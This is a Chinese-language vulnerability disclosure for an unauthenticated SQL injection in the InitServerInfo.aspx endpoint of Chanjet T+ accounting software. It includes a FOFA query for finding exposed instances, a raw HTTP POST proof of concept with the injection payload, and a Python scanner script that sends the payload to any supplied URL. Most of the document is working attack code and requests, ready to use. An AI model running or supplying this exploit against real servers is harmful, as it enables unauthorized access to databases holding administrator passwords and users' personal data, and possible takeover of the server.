漏洞简介
由于畅捷通T+的InitServerInfo.aspx接口处未对用户的输入进行过滤和校验,未经身份验证的攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
漏洞等级 | 高危 |
影响版本 | version=13.0 version=16.0 |
漏洞类型 | SQL注入 |
影响范围 | >10W |
产品简介
畅捷通 T+ 是一款灵动,智慧,时尚的基于互联网时代开发的管理软件,主要针对中小型工贸与商贸企业,尤其适合有异地多组织机构(多工厂,多仓库,多办事处,多经销商)的企业,涵盖了财务,业务,生产等领域的应用,产品应用功能包括:采购管理、库存管理、销售管理、生产管理、分销管理、零售管理、往来管理、现金银行管理、总账、移动应用等,融入了社交化、移动化、电子商务、互联网信息订阅等元素,为企业打造全新的生意模式、管理模式、工作模式。与传统管理软件相比,“T+”更强调企业管理向企业经营的转变、等级化管人向平等化用人理念的转变。。
网络测绘
FOFA:app="畅捷通-TPlus"
漏洞复现
手动验证POC
POST /tplus/UFAQD/InitServerInfo.aspx?preload=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 108
operbtn=create&ServerID=1'%2b(select 1 where 1 in (SELECT sys.fn_varbintohexstr(hashbytes('MD5','1'))))%2b'1
查询1的MD5值
python扫描验证脚本
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""
@Project :漏洞复现POC
@File :畅捷通T+ InitServerInfo.aspx SQL漏洞.py
@Author :星之尘
@Date :2024/3/14 12:34
@脚本说明:
"""
import requests
from requests import Timeout
from urllib3.exceptions import InsecureRequestWarning
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
}
def scan(url, path):
if url.endswith("/"):
path = "tplus/UFAQD/InitServerInfo.aspx?preload=1"
else:
path = "/tplus/UFAQD/InitServerInfo.aspx?preload=1"
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
encodetext = url + path
headers['Content-Type'] = "application/x-www-form-urlencoded"
data = '''operbtn=create&ServerID=1'%2b(select 1 where 1 in (SELECT sys.fn_varbintohexstr(hashbytes('MD5','1'))))%2b'1'''
print(f"扫描目标: {url}")
print("---------------------------------------------------")
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
req1 = requests.post(encodetext, data=data, headers=headers, verify=False, timeout=20)
if req1.status_code == 200 and "c4ca4238a0b923820dcc509a6f75849b" in req1.text:
print(f"[+] {url} !!!存在畅捷通T+ InitServerInfo.aspx SQL漏洞!!!;")
else:
print(f"[-] {url} 不存在畅捷通T+ InitServerInfo.aspx SQL漏洞")
except Timeout:
print(f"[!] 请求超时,跳过URL: {url}")
except Exception as e:
if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
print(f"[-] {url} 证书校验错误或者证书被拒绝")
else:
print(str(e))
if __name__ == "__main__":
# 在这里输入扫描目标url
url = ""
path = "/tplus/UFAQD/InitServerInfo.aspx?preload=1"
scan(url, path)